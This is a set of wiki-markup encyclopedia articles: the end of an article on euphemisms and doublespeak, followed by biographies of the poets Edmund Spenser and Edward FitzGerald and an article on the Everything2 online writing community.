Contemporary euphemisms and dysphemisms for death tend to be quite colorful, and someone who has died is said to have ''passed away'', ''passed on'', ''bit the big one'', ''bought the farm'', ''croaked'', ''given up the ghost'' (originally a more respectful term), ''kicked the bucket'', ''gone south'', ''tits up'', ''shuffled off this mortal coil'' (from [[William Shakespeare]]'s ''[[Hamlet]]''), or ''assumed room temperature''.  When buried, they may be said to be ''pushing up daisies'' or ''taking a dirt nap'' or ''six feet under''.  There are hundreds of such expressions in use. (Old [[Burma-Shave]] jingle: &quot;If daisies are your favorite flower, keep pushin' up those miles per hour!&quot;)

Euthanasia also attracts euphemisms.  One may ''put him out of his misery'', ''put him to sleep'', or ''have him put down'', the latter phrases being used primarily with non-humans.

There are a few euphemisms for killing which are neither respectful nor playful, but rather clinical and detached.  Some examples of this type are ''terminate'', ''wet work'', to ''take care of'' one or to ''take them for a ride'', to ''do them in'', to ''off'', ''frag'', ''smoke'', ''whack'' or ''waste'' someone. To ''cut loose'' (from U.S. Sgt. Massey's account of activities during the American occupation of Iraq) or ''open up'' on someone, means 'to shoot at with every weapon available'.

The [[Dead Parrot|Dead Parrot Sketch]] from [[Monty Python's Flying Circus]] contains an extensive list of euphemisms for death, referring to the deceased parrot that the character played by [[John Cleese]] purchases (the sketch has led to another euphemism for death: &quot;pining for the fjords&quot;, although in the sketch it was used by the shop owner to mean the parrot was ''not'' dead, but was merely quiet and contemplative).  A similar passage occurs near the beginning of ''[[The Twelve Chairs]]'', where Bezenchuk, the undertaker, astonishes Vorobyaninov with his classification of people by the euphemisms used to speak of their deaths.

==Doublespeak==

What distinguishes [[doublespeak]] from other euphemisms is its deliberate usage by governmental, military, or corporate institutions. Doublespeak is in turn distinguished from [[jargon]] in that doublespeak attempts to confuse and conceal the truth, while jargon often provides greater precision to those that understand it (while inadvertently confusing those who do not).  An example of the distinction is the use by the military of the word ''casualties'' instead of ''deaths'' &amp;mdash; what may appear to be an attempt to hide the fact that people have been killed is actually a precise way of saying &quot;personnel who have been rendered incapable of fighting, whether by being killed, being badly wounded, psychologically damaged, incapacitated by disease, rendered ineffective by having essential equipment destroyed, or disabled in any other way.&quot;  &quot;Casualties&quot; is used instead of &quot;deaths,&quot; not for propagandistic or squeamish reasons, but because most casualties are not dead, but nevertheless useless for waging war.

Proper examples of doublespeak included ''taking friendly fire'' as a euphemism for being attacked by your own troops.

Commentators such as [[Noam Chomsky]] and [[George Orwell]] have written at length about the dangers of allowing such euphemisms to shape public perceptions and national policy.

Violent countercultural groups and their apologists have doublespeak of their own, such as replacing &quot;sabotage&quot; and &quot;vandalism&quot; with &quot;direct action.&quot;

==Common examples==

Other common euphemisms include:
* ''restroom'' for ''[[toilet]] room'' (the word ''toilet'' was itself originally a euphemism). This is an [[Americanism (general)|Americanism]].  
* ''making love to'', ''getting it on'', ''doing it'', or ''sleeping with'' for ''having sexual intercourse with''
* ''motion discomfort bag'' and ''air-sickness bag'' for ''vomit bag'' or ''barf bag''
* ''sanitary landfill'' for ''garbage dump'' (and a temporary garbage dump is a ''transfer station'')
*''pre-owned vehicles'' for ''used cars''
* ''the big C'' for ''cancer'' (in addition, some people whisper the word when they say it in public, and doctors have euphemisms to use in front of patients, e.g. &quot;c.a.&quot;)
* ''bathroom tissue'', ''t.p.'', or ''bath tissue'' for [[toilet paper]] (Usually used by toilet paper manufacturers)
* ''[[custodian]]'' for ''[[janitor]]'' (also originally a euphemism&lt;!-- for shit cleaner --&gt;&amp;mdash;in Latin, it means ''doorman''.)
* ''sanitation worker'' (or, sarcastically, ''sanitation engineer'') for &quot;garbage man&quot; (also known as ''dustman'' in the U.K.)
* ''Where can I wash my hands?'' or ''Where can I powder my nose?'' for ''Where can I find a toilet?''. (This is also an [[Americanism]]. If this question is asked in Europe to someone not used to American habits the person who asks the question might actually end up at a place where there is only a washbasin and not at a place equipped according to their needs.)

These lists might suggest that most euphemisms are well-known expressions.  Often euphemisms can be somewhat situational; what might be used as a euphemism in a conversation between two friends might make no sense to a third person.  In this case, the euphemism is being used as a type of [[innuendo]].  As an example, in the [[television]] series ''[[The Fresh Prince of Bel-Air]]'', the Banks family (who are black) discuss Hilary's new boyfriend, who happens to be white, using ''tall'' as a euphemism for ''white''.  Will, who apparently doesn't catch on, remarks that he is the only one who seems to notice the new boyfriend is white.

The inflation of occupational titles is similar to the euphemism treadmill. For instance, the [[engineering]] professions have traditionally resisted the tendency by other technical trades to appropriate the prestige of the title ''engineer''. Most people calling themselves ''[[software engineering|software engineers]]'' or ''network engineers'' are not, in fact, accredited in engineering. Extreme cases, such as ''sanitation engineer'' for ''janitor'' are cited humorously more often than they are used seriously.

In the [[television]] [[cartoon]] series &quot;[[The Flintstones]]&quot;, Fred takes a job as the live-in [[janitor|superintendent]] of a large apartment building and is given a title using the word ''engineer'' to make his job sound more important than it actually is.  As he and his wife are moving in, a policeman is about to write him a [[parking ticket]] for being illegally parked in front of the building.  He informs the officer that he is (as the building's owner referred to him) the &quot;''Resident Stationary Engineer''&quot; for the building.  The cop turns to him and says, &quot;I don't care if you ''are'' the janitor, move this car now!&quot;

Less extreme cases, such as ''custodian'' for ''[[janitor]]'', are considered more terms of respect than euphemisms.

The word euphemism itself can be used as a euphemism.  In the animated short ''It's Grinch Night'' (See [[Dr. Seuss]]), a child asks to go to the ''euphemism'', where ''euphemism'' is being used as a euphemism for ''[[outhouse]]''. This euphemistic use of &quot;euphemism&quot; originally occurred in the play ''[[Who's Afraid of Virginia Woolf?]]'' where a character requests, &quot;Martha, will you show her where we keep the, uh, euphemism?&quot;.  It is analogous to the 18th-century use of ''unmentionables'' for ''underpants''.

== See also ==
{{wiktionarycat|type=that are used as euphemisms|category=Euphemism}}
* [[List of Euphemisms]]
* [[Minced oaths]]
* [[Bypassing]]
* [[Politeness]]
* [[Doublespeak]]
* [[Spin (public relations)]]
* [[Toilet humour]]
* [[Fuck|F-word]]
* [[Framing (communication theory)]]
* [[Code word (figure of speech)]]
* [[Thomas Bowdler|Bowdlerisation]]
* [[Sexual slang]]

==References==
* Rawson, Hugh, ''A Dictionary of Euphemism &amp; Other Doublespeak'', second edition, 1995. ISBN 0517702010
* R.W.Holder: ''How Not to Say What You Mean: A Dictionary of Euphemisms'', [[Oxford University Press]], 501 pages, 2003. ISBN 0198607628
* ''[[Maledicta]]: The International Journal of Verbal Aggression''  (ISSN US 0363-3659)

==External links==
* [http://www.propagandacritic.com/articles/ct.wg.euphemism.html Propaganda critic: Euphemisms]
* [http://phrontistery.50megs.com/longpig/dead.html Dead and Buried: Death Euphemisms]
* [http://www.linguistics.ucsb.edu/faculty/cumming/ling50/euphemism+dysphemism.htm Language &amp;amp; Power: Euphemism and dysphemism]
*[http://www.figarospeech.com Figures of speech, served up fresh]

[[Category:slang]]
[[Category:Figures of speech]]
[[Category:Rhetoric]]
[[Category:Propaganda]]

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  <page>
    <title>Edmund Spenser</title>
    <id>9536</id>
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      <text xml:space="preserve">[[Image:EdmundSpenser.jpg|right|framed|Edmund Spenser]]

'''Edmund Spenser''' (c. [[1552]] - [[13 January]], [[1599]]) was an [[England|English]] [[poet]] and [[Poet Laureate]]. Spenser is a controversial figure due to his zeal for the destruction of the [[Culture of Ireland|Irish culture]].       

==Life==

Spenser was born circa 1552, and educated in London at the [[Merchant Taylors' School]]. He went to [[Ireland]] in the 1570s, during the [[Elizabethan]]  re-conquest of the country, to acquire land and wealth there. 

From 1579 to 1580, he served with the English forces during the second of the [[Desmond Rebellions]], and afterwards was awarded lands in [[Cork]] that had been confiscated from the rebels in the [[Plantations_of_Ireland#The_Munster_Plantation|Munster Plantation]]. Amongst his acquaintances in the area was [[Walter Raleigh]] who, like Spenser, had been granted land in [[Munster]]. 

In the early [[1590s]] he wrote a prose pamphlet titled, ''A View on the Present State of Ireland''. This piece has become quite famous since it was published in the mid [[seventeenth century]], although it was not published in Spenser's lifetime, being thought too inflammatory. The pamphlet argued [[Ireland]] would never be totally 'pacified' until its indigenous language and customs had been destroyed, if necessary by violence. 

He recommended using scorched earth tactics, such as he had seen used in the Desmond Rebellions, to create famine. Although it has been highly regarded as a polemical piece of prose and valued as a historical source on [[16th century]] Ireland, the &quot;View&quot; is seen today as [[genocidal]] in intent. He also siphoned Ireland's Celtic tradition for poetic source material. Spenser was driven from his home by Irish rebels during the [[Nine Years War (Ireland)|Nine Years War]] in 1598. He died in 1599, aged approximately 46.

==Poetry==

The first poem to earn Spenser notability was a collection of [[eclogues]] called ''[[The Shepheardes Calendar]],'' written from the point of view of various [[shepherds]] throughout the months of the year. The poem is an allegory symbolizing the state of humanity.  The diversity of forms and meters, ranging from accentual-syllabic to purely accentual, and including such departures as the [[sestina]] in &quot;August,&quot; gave Spenser's contemporaries a clue to the range of his powers and won him praise in his day.

''[[The Faerie Queene]]'' is his major contribution to English [[poetry]]. The poem is a long, dense [[allegory]], in the [[Epic poetry|epic]] form, of [[Christianity|Christian]] virtues, tied into [[England]]'s [[mythology]] of [[King Arthur]].  

Spenser intended to complete twelve books of the poem, but managed only six before his death. The work remains the longest epic poem in the English language, and has inspired writers from [[John Milton]] and [[John Keats]] through [[James Joyce]] and [[Ezra Pound]]. He devised a verse form for ''[[The Faerie Queene]]'' that has come to be known as the &quot;[[Spenserian stanza]],&quot; and which has since been applied in poetry by the likes of [[William Wordsworth]], [[John Keats]], and [[Alfred Lord Tennyson]].

The language of his poetry is purposely archaic. It reminds readers of earlier works as ''[[The Canterbury Tales]]'' of [[Geoffrey Chaucer]], whom Spenser greatly admired. Spenser's '''Epithalamion''' is the most admired of its type in the English language. It was written for his wedding to his young bride, Elizabeth Boyle. Spenser is often overshadowed by  [[William Shakespeare]]. For a modern take at Spenser, see Camille Paglia's [[Sexual Personae]].

'''Poetic Extracts'''

''Faerie Queene. Book v. Proem. St. 3.''

:Let none then blame me, if in discipline
:Of vertue and of civill uses lore,
:I doe not forme them to the common line
:Of present dayes, which are corrupted sore,
:But to the antique use which was of yore,
:When good was onely for it selfe desyred,
:And all men sought their owne, and none no more;
:When Justice was not for most meed out-hyred,
:But simple Truth did rayne, and was of all admyred.

''Faerie Queene. Book iii. Canto xi. St. 54.''

:And as she lookt about, she did behold,
:How over that same dore was likewise writ,
:Be bold, be bold, and every where be bold,
:That much she muz'd, yet could not construe it
:By any ridling skill, or commune wit.
:At last she spyde at that roomes upper end,
:Another yron dore, on which was writ,
:Be not too bold; whereto though she did bend
:Her earnest mind, yet wist not what it might intend.

==Trivia==
*''Blatant Beast'' was a phrase Spenser coined for the ignorant, slanderous, clamour of the mob. However, the Blatant Beast from ''The Faerie Queene'' is clearly shown to indicate slander in general, and a large part of the final complete book (Book VI, although the Blatant Beast first appears towards the end of Book V) is showing how thoroughly the Blatant Beast ravages the world, first spreading from the Court (not the villages or slums) and causing havoc everywhere it goes until it even penetrates into the monestaries and causes great distress there. Only Calidore, the most courteous of knights, was able to tame, chain, and imprison the Blatant Beast, which eventually would break free and, as ''[[The Faerie Queene]]'' concludes by saying, still ravages the world today since only two Arthurian knights ever even came close to doing what Calidore did and even ''The Faerie Queene'', the text asserts, shall become a target for the Blatant Beast.

==External links==
{{wikisource author}}
{{wikiquote}}
*{{gutenberg author | id=Edmund+Spenser | name=Edmund Spenser}}
*[http://www.english.cam.ac.uk/spenser/main.htm The Edmund Spenser Home Page]
* Project Gutenberg edition of ''[http://www.gutenberg.net/etext/6937 Biography of Edmund Spenser]'' by John W. Hales
* [http://www.sanjeev.net/poetry/spenser-edmund/index.html Poetry Archive: 154 poems of Edmund Spenser]

{| border=2 align=&quot;center&quot;
|-
|width=&quot;30%&quot; align=&quot;center&quot;|Preceded by:&lt;br /&gt;'''[[John Skelton]]'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''English [[Poet Laureate]]'''
|width=&quot;30%&quot; align=&quot;center&quot;|Succeeded by:&lt;br /&gt;'''[[Samuel Daniel]]'''
|}

[[Category:1552 births|Spenser, Edmund]]
[[Category:1599 deaths|Spenser, Edmund]]
[[Category:Alumni of Pembroke College, Cambridge|Spenser, Edmund]]
[[Category:English Poets Laureate|Spenser, Edmund]]

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  <page>
    <title>Edward Marlborough FitzGerald</title>
    <id>9537</id>
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      <comment>/* The Rubáiyát of Omar Khayyám of Naishápur */ +moving finger</comment>
      <text xml:space="preserve">'''Edward Marlborough FitzGerald''' ([[March 31]], [[1809]]&amp;ndash;[[June 14]], [[1883]]) was an [[England|English]] [[writer]], best known as the [[poet]] of the first and most famous English translation of [[Rubaiyat of Omar Khayyam|Rubáiyát of Omar Khayyám]].

He was born '''Edward Purcell''', at [[Bredfield House]] in [[Suffolk]].  His father, John Purcell, assumed in 1818 the name and arms of his wife's family, the FitzGeralds. From 1816 the family lived at [[St Germain]] and at [[Paris]], but in 1821 Edward was sent to school at [[Bury St Edmunds]]. In [[1826]] he went to [[Trinity College, Cambridge]], where he joined the [[Cambridge Apostles]]. He became acquainted with [[William Makepeace Thackeray]] and [[William Hepworth Thompson]]. His friendship with [[Alfred Tennyson]], also an Apostle, began in about 1835. In 1830 FitzGerald left for Paris, but in 1831 was living in a farm-house on the [[Battle of Naseby|battlefield of Naseby]].

With no employment, FitzGerald lived quietly, moving to his native county of Suffolk, and never again leaving it for more than a week or two. Until 1835 the FitzGeralds lived at Wherstead; from that year until 1853 the poet resided at Boulge, near [[Woodbridge, Suffolk|Woodbridge]]; until 1860 at [[Farlingay Hall]]; until 1873 in the town of Woodbridge; and then until his death at his own house close by, called Little Grange.  During most of this time FitzGerald was preoccupied with flowers, music and literature. He allowed friends like Tennyson and Thackeray to surpass him, and for a long time showed no intention of emulating their literary success. In [[1851]] he published his first book, ''Euphranor'', a [[Plato]]nic dialogue, born of memories of the old happy life at Cambridge. In 1852 he published ''Polonius'', a collection of &quot;saws and modern instances&quot;, some of them his own, the rest borrowed from the less familiar English classics. FitzGerald began the study of [[Spanish language|Spanish]] poetry in 1850 at [[Elmsett]] and that of [[Persian language|Persian]] at the [[University of Oxford]] with Professor [[Edward Byles Cowell]] in 1853. In middle life, he married Lucy, the daughter of [[Bernard Barton]], the [[Religious Society of Friends|Quaker]] poet. 

In [[1853]], he issued ''Six Dramas of Calderon'', freely translated. He now turned to Oriental studies, and in [[1856]] he anonymously published a version of the ''Sálamán'' and ''Absál'' of Jámi in [[John Milton|Miltonic]] verse. In March [[1857]] Cowell discovered a set of Persian quatrains by [[Omar Khayyám]] in the [[Asiatic Society]] library, [[Calcutta]], and sent them to FitzGerald. At this time the name with which he has been so closely identified first occurs in FitzGerald's correspondence--&quot;Hafiz and [[Omar Khayyám]] ring like true metal.&quot; On [[January 15]] [[1859]] a little anonymous pamphlet was published as ''The Rubaiyat of Omar Khayyam''. In the world at large, and in the circle of FitzGerald's particular friends, the poem seems at first to have attracted no attention. The publisher allowed it to gravitate to the fourpenny or even (as he afterwards boasted) to the penny box on the bookstalls.

But in [[1860]] [[Dante Gabriel Rossetti|Rossetti]] discovered it, and [[Algernon Swinburne|Swinburne]] and Lord Houghton quickly followed. The ''Rubaiyat'' became slowly famous, but it was not until 1868 that FitzGerald was encouraged to print a second and greatly revised edition. Meanwhile he had produced in 1865 a version of the ''Agamemnon'', and two more plays from [[Pedro Calderón de la Barca|Calderón]]. In 1880&amp;ndash;1881 he issued privately translations of the two [[Oedipus]] tragedies; his last publication was ''Readings'' in Crabbe, 1882. He left in manuscript a version of Attar's ''Mantic-Uttair'' under the title of ''The Bird Parliament''.

From [[1861]] onwards FitzGerald's greatest interest had been in the sea. In June 1863 he bought a [[yacht]], &quot;The Scandal,&quot; and in 1867 he became part-owner of a herring-lugger, the &quot;Meum and Tuum.&quot; For some years, till [[1871]], he spent the summer months &quot;knocking about somewhere outside of [[Lowestoft]].&quot; In this way, and among his books and flowers, FitzGerald gradually became an old man. He passed away painlessly in his sleep.  He was &quot;an idle fellow, but one whose friendships were more like loves.&quot; In [[1885]] his fame was increased by the fact that Tennyson dedicated his ''Tiresias'' to FitzGerald's memory, in some touching reminiscent verses to &quot;Old Fitz.&quot; This was but the signal for that universal appreciation of Omar Khayyám in his English version. The melody of FitzGerald's verse is so exquisite, the thoughts he rearranges and strings together are so profound, and the general atmosphere of poetry in which he steeps his version is so pure, that no surprise need be expressed at the universal favour which the poem has met with among critical readers. It became better known to the general public than any single poem of the time.

Of FitzGerald as a man practically nothing was known until, in [[1889]], Mr W. Aldis Wright, his intimate friend and literary executor, published his ''Letters and Literary Remains'' in three volumes. This was followed in [[1895]] by the ''Letters to Fanny Kemble''. These letters constitute a fresh bid for immortality, since they discovered that FitzGerald was a witty, picturesque and sympathetic letterwriter. One of the most unobtrusive authors who ever lived, FitzGerald has, nevertheless, by the force of his extraordinary individuality, gradually influenced the whole face of English ''belles-lettres'', in particular as it was manifested between 1890 and 1900.

The ''Works of Edward FitzGerald'' appeared in [[1887]]. See also a chronological list of FitzGerald's works (Caxton Club, Chicago, 1899); notes for a bibliography by Col. WF Prideaux, in ''[[Notes and Queries]]'' (9th series, vol. vL), published separately in 1901; ''Letters and Literary Remains'' (ed. [[William Aldis Wright|W Aldis Wright]], 1902-1903); and the ''Life of Edward FitzGerald'', by Thomas Wright (1904), which contains a bibliography (vol. ii. pp. 241-243) and a list of sources (vol. i. pp. xvi.&amp;ndash;xvii.). The volume on FitzGerald in the &quot;English Men of Letters&quot; series is by AC Benson. The FitzGerald centenary was celebrated in March 1909. See the ''Centenary Celebrations Souvenir'' (Ipswich, 1909) and ''[[The Times]]'' for [[March 25]], [[1909]].

== The Rubáiyát of Omar Khayyám of Naishápur ==

FitzGerald's translation of the [[Rubaiyat of Omar Khayyam|Rubáiyát of Omar Khayyám]] is notable for the frequency and ubiquity of quotations from it and allusions to it. Its popularity, still high, is in decline; but for about a century following its publication, it formed part of the mental furniture of most English-speaking readers. 

Of the 107 [[stanza]]s in the poem (fifth edition), the [[Oxford Dictionary of Quotations]] (2nd edition) quotes no less than 43 ''entire stanzas in full,'' in addition to many individual lines and couplets.

The most familiar stanza is surely:

:A Book of Verses underneath the Bough,
:A Jug of Wine, a Loaf of Bread&amp;mdash;and Thou
:    Beside me singing in the Wilderness&amp;mdash;
:Oh, Wilderness were Paradise enow!

Lines and phrases from the poem have been used as the titles of many literary works ([[Nevil Shute]]'s ''The Chequer Board;'' [[James Michener]]'s ''The Fires of Spring''; [[Agatha Christie]]'s ''[[The Moving Finger]]''; [[Eugene O'Neill]]'s ''Ah, Wilderness''&amp;mdash;slightly misquoted). Allusions to it abound in the short stories of [[O. Henry]]. [[Saki]]'s nom-de-plume is a reference to it. In 1925, when [[Billy Rose]] and [[Al Dubin]] wrote the popular song ''A Cup of Coffee, A Sandwich, and You,'' they surely expected listeners to catch the reference to the famous quatrain quoted above.

FitzGerald published five editions of his translation of the Rubáiyát, of which three (the first, second, and fifth) are significantly different. (The second and third are almost identical, as are the fourth and fifth). The first and fifth editions are almost equally popular and equally often anthologized. The stanza above, from the fifth edition, is more familiar than the corresponding stanza in the first edition (&quot;Here with a Loaf of Bread beneath the bough/A Flask of Wine, a Book of Verse&amp;mdash;and Thou&quot;). On the other hand, the lines &quot;'Tis all a Chequer-board of Nights and Days/Where Destiny with Men for Pieces plays,&quot; from the first edition, are more familiar than their equivalent from the fifth: &quot;But helpless Pieces of the Game He plays/Upon this Chequer-board of Nights and Days&quot;).

[[Iran|Persian]] literature scholar [[Dick Davis]], in a 1989 introduction to the poem, strongly suggests that FitzGerald was gay (describing his marriages as &quot;disastrous.&quot;) He points out suggestions of [[homoerotic]]ism in the poem. &quot;The ''sáki''&amp;mdash;the cup-bearer of Persian poetry may be of either sex... [but] is more often conceived of as a young man than as a girl&amp;mdash;as a [[Ganymede (mythology)|Ganymede]] figure, in fact.&quot; The line &quot;this delightful Herb whose tender Green/Fledges the River's Lip on which we lean&quot; suggests to Davis a reference to an adolescent boy's moustache; while the stanza

:None answer'd this; but after Silence spake
:A Vessel of a more ungainly Make:
:    &amp;ldquo;They sneer at me for leaning all awry;
:&amp;ldquo;What! did the Hand then of the Potter shake?&amp;rdquo;

is read by Davis as FitzGerald's protest of the stigmatization of his sexuality.

'''Spelling note:''' In this article, FitzGerald's name is spelled with an internal capital G, as it is in his own publications, in anthologies such as the [[Quiller-Couch]] ''Oxford Book of English Verse,'' and in most reference books up through about the [[1960s]]. Both spellings&amp;mdash;FitzGerald and Fitzgerald&amp;mdash;are currently seen.

==Quotes==
&quot;If you can prove to me that one miracle took place, I will believe he is a just God who damned us all because a woman ate an apple.&quot;

&quot;Science unrolls a greater epic than the Iliad. The present day teems with new discoveries in Fact, which are greater, as regards the soul and prospect of men, than all the disquisitions and quiddities of the Schoolmen. A few fossil bones in clay and limestone have opened a greater vista back into time than the Indian imagination ventured upon for its gods. This vision of Time must not only wither the poet's hope of immortality, it is in itself more wonderful than all the conceptions of Dante and Milton.&quot;

&quot;I am all for the short and merry life.&quot;
Epitaph

==References==
*'''Great Minds''' &quot;The Rubáiyát of Edward FitzOmar&quot;, Gary Sloan, [[Council for Secular Humanism|Free Inquiry]], Winter 2002/2003 - Volume 23, No. 1
* {{gutenberg author| id=Edward+FitzGerald | name=Edward FitzGerald}}

{{1911}}

[[Category:1809 births|FitzGerald, Edward]]
[[Category:1883 deaths|FitzGerald, Edward]]
[[Category:Alumni of Trinity College, Cambridge|FitzGerald, Edward]]
[[Category:English poets|FitzGerald, Edward]]
[[Category:Persian-English translators|FitzGerald, Edward]]
[[Category:Natives of Suffolk|FitzGerald, Edward]]</text>
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  <page>
    <title>Everything2</title>
    <id>9538</id>
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      <contributor>
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        <id>1</id>
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      <comment>/* Rewards */ Node Heaven</comment>
      <text xml:space="preserve">'''Everything2''', or '''E2''' for short, is a large collaborative [[Internet]] community, currently at [http://www.everything2.com/ www.everything2.com]. It describes itself as having  &quot;grown from being a very simple user-written [[encyclopedia]] to an [[online community]] with a focus to write, publish and edit a quality database of information, insight and humor.&quot;

==Nodes and writeups==
E2 users called ''noders'' create entries called ''nodes'' and add information in multiple ''writeups.''  Only logged-in users can create writeups, and only the author of a writeup or an editor appointed by the site administrators can edit a writeup. E2 categorizes writeups into four types: ''person'', ''place'', ''idea'', and ''thing''. Writeups are written in a simplified [[HTML]] dialect and do not contain images. As of [[25 July]], [[2005]], 1,025,556 nodes and 444,183 writeups exist.

There are other types of nodes that do not contain writeups; for instance, the administrators can create &quot;superdoc&quot; nodes (similar to [[Wikipedia]]'s [[special:Specialpages|special pages]]) such as Everything New Nodes and Page of Cool that allow interaction, and each user has a &quot;homenode&quot; where he or she can add a short autobiography or other text (or a picture, if he or she is level six or above -- see [[#Rewards|Rewards]], below).

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''Hard links'' in E2 are simply words or phrases surrounded by [square brackets].  Any words inside square brackets in a writeup will become a link to the E2 node of that title.  If a node with that title does not yet exist, following the link will bring up the option to create it. 
Recently, partial support for external URLs has been implemented.  A hardlinked URL will provide, in addition to the option to create a new node, a link to the URL.  Heavy use of external URLs is discouraged, however, as E2 is supposed to stand on its own and contain a largely self-supportive infrastructure.

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Noders can link to a specific writeup within a node by appending ''(person)'', ''(place)'', ''(idea)'' or ''(thing)'' to a pipe link. For example, the pipe link [Wiki (thing)|Wiki] links directly to the writeup of the type ''thing'' within the ''Wiki'' node. If the node contains more than one writeup of the specified type, the pipe link returns a &quot;Duplicates Found&quot; page linking to every writeup of the specified type within the node.

Pipe links are comparable in function but not usage to Wikipedia's [[Wikipedia:Piped link|piped link]]s. Unlike piped links, pipe links on E2 often add &quot;[[Easter egg (virtual)|easter egg]]&quot; content, such as commentary, humor and hidden information.{{ref|pipe}}

At the bottom of every node, the system displays up to 64 ''soft links'', though each node can store an unlimited number thereof. (&quot;Guest User&quot; -- any viewer not logged in -- can see 24, a logged-in user can see up to 48, and the senior administrators (&quot;gods&quot;) can see up to 64). These are two-way links intended to approximate &quot;thought processes&quot;. Whenever a logged-in user moves from one node to another, be it through a hard link, another soft link, or through the title search box, the system creates (or strengthens) the bidirectional soft link between the two; however, some nodes -- namely the special pages and the user profiles -- will not display the soft links so created. By repeatedly moving from one node to another, users can and do deliberately create such soft links; some users will use these soft links to make anonymous comments on others' writing. The site's administrators have the ability to remove soft links at their discretion.

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===Copyright policy===
The [[copyright]] in a writeup rests with the author, and no agreement to any kind of license is entered into by writing on E2 (except for giving the site permission to publish). Authors retain the right to place their work in the public domain, to release it under a [[copyleft]] license such as one of those offered by the [[GNU]] project or [[Creative Commons]], or to request the removal of their work from the site at some later date.

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===Rewards===
The administrators loosely based E2's reward system on [[role-playing game]]s. Every time a user creates a writeup, he or she earns one experience point (XP). Users with at least 20 contributed writeups and 50 experience points can vote (up or down) on a writeup, which has a 1/3 chance of giving or taking an experience point from the author depending on the direction of the vote and a 1/5 chance of giving a point to the voter. After voting on a writeup, a noder can see the writeup's &quot;reputation,&quot; or number of positive and negative votes (administrators do not need to vote to see a writeup's reputation). The site's editors delete writeups that do not meet editorial standards or those whose removal has been author-requested. The only effect writeup deletion has on the author's XPs is that the 1 XP the author got for creating the writeup is removed. A user can view his or her own writeups that have been deleted through the Node Heaven feature.

New levels are attained by reaching a predefined, but arbitrary total of XPs and writeups, which are given in the FAQ.{{ref|faq}} An 'honor roll' further rewards users whose writeups have a 'reputation' that has achieved a high interquartile mean by lowering the writeups required to achieve any given level by up to a half.

The system grants special powers at other levels of writeups and experience, such as &quot;cool&quot; (reward author with three XPs and send the writeup to the front page), the ability to create basic [[chat room]]s on the site, space for uploading a picture to a user's &quot;homenode&quot;, and the ability to hide one's self in the list of logged-in users.

==Messaging==
Everything2 provides two communication tools: the Chatterbox and the message system.

The Chatterbox is similar to a [[chat room]].
It appears as a panel on the right side of the page that logged-in users can use to read conversations and participate in them.
The site's administrators used to have the ability to &quot;borg&quot; -- prevent from using the Chatterbox or message system -- those users whose behavior violated the unwritten standards of politeness and decorum. 
This was done through a [[Internet bot|bot]] called EDB (short for &quot;Everything Death Borg&quot;), which announced when it has &quot;swallowed&quot; a user. 
These silencings lasted for five minutes, though persistent [[internet troll|trolls]] were silenced for a longer period -- sometimes permanently. As of 2003, the EDB was no longer much used, only making mostly token appearances for humorous effect.  

The message system lets users send private messages to other users. The messages are stored in the user's mailbox to be read when he or she next logs in.
The main use for the message system is giving constructive criticism to the author of a writeup; however, it can be and is used like any medium of private communication.

==History and society==
The predecessor of E2 was a similar database called Everything (later labeled &quot;Everything1&quot; or &quot;E1&quot;) which was started around March [[1998]] by [[Nate Oostendorp]] and was initially closely aligned with and promoted by [[Slashdot]]. The E2 software offered vastly more features, and the Everything1 data was twice incorporated into E2: once on [[November 13]], [[1999]] and again in January of [[2000]]. 

The Everything2 server used to be physically located with the Slashdot servers. However, some time after [[Open Source Technology Group|OSDN]] acquired Slashdot, and moved the Slashdot servers, this hosting was terminated on short notice. This resulted in Everything2 being offline from roughly [[November 6]] to [[December 9]], [[2003]]. Everything2 has since been hosted by the [[University of Michigan]].

E2 is privately owned by the [[Blockstackers Intergalactic]] company, but does not make a profit and is viewed by its  long-term users as a collaborative work-in-progress. Some of its administrators are affiliated with Blockstackers, some are not. Administrators are often criticized for making policy decisions without consulting Everything2's user base, and the site is not a democracy, but the degree to which users influence decisions depends on the nature of the decisions and the administrators making them.

Writeups in E1 were limited to 512 bytes in size. This, plus the predominantly &quot;geek&quot; membership back then and the lack of chat facilities, meant the early work was often of poor quality and was overburdened with [[self referential humor]]. As E2 has expanded, higher quality standards have developed, much of the old material has been removed, and the membership has become broader. Many noders prefer to write encyclopedic articles similar to those on [[Wikipedia]]. Some write fiction or poetry, some discuss issues, and some write daily journals, called &quot;daylogs&quot;. Unlike Wikipedia, E2 does not have an enforced [[neutral point of view]]. An informal survey of noder political beliefs{{ref|survey}} indicates that the userbase tends to lean [[Left-wing politics|left]] politically. There are conservative voices as well, however, and while debate nodes (of any kind, political or not) are rarely tolerated, well-formed points of view from any part of the political or cultural spectrum are welcome.

Like other online communities, E2 has a social hierarchy and code of behavior, to which it is sometimes difficult for a newcomer to adjust. Moreover, some people complain that new users are held to a different standard from established contributors, and that their writeups are singled out for deletion regardless of content. Another complaint is that all too often, site administrators remove articles that they do not agree with or which they do not see explicit value in, thus biasing the content of the database. Others dismiss such complaints as unjustified; they observe that few communities treat newcomers exactly like long-time members, and they claim that those who learn and obey the rules are usually—though not always—treated fairly. 

There is no consistent, written site policy on acceptable behavior. Bannings have occurred for antisocial behaviour, albeit very rarely and only after a more personal approach to change the individual's behavior. Though these decisions are broadly accepted, some current and ex-members of the site believe that this amounts to mismanagement, and point to accumulation of disgruntled ex-users as evidence of a problem.

Everything2 solicits donations and states that the accumulated funds are earmarked for bandwidth and colocation costs, but does not disclose the specific details of how these donations are spent. This policy has met criticism due to concerns that the donations may be mishandled.

The management regard Everything2 as a publication, to which authors submit content. Although Everything2 does not seek to become an [[encyclopedia]] (even though the contents of [[Webster's Dictionary|Webster's 1913 dictionary]] have been assimilated into the database), a substantial amount of factual content has been submitted to Everything2.

Policy states that &quot;Everything2 is not a bulletin board&quot;. Writeups which exist as replies to other writeups, or which add a minor point to them or which otherwise do not stand well alone are discouraged, not least because the deletion of the original writeup orphans any replies. This policy helps to moderate [[flame war]]s on controversial topics.

Everything2 is not a [[wiki]], and there is no direct way for non-content editors to make corrections or amendments to another author's article. Avenues for correction involve discussing the writeup with its author; petitioning a content editor; adding a note in a special &quot;broken nodes&quot; section; or superseding the original writeup with an original, stand-alone follow-up.

==Software==
E2 is run by the [[open source]] [[Everything Engine]], a [[perl programming language|Perl]]-based system; its data is stored in a [[MySQL]] database.

==See also==
*[[Eksi Sozluk]]
*[[H2G2]] - online writing community based on ''[[The Hitchhiker's Guide To The Galaxy]]''
*[[Wikipedia]]

==References==
#{{note|pipe}}[http://www.everything2.org/index.pl?node_id=1340039 Pipe links and three-dimensionality@Everything2.com]
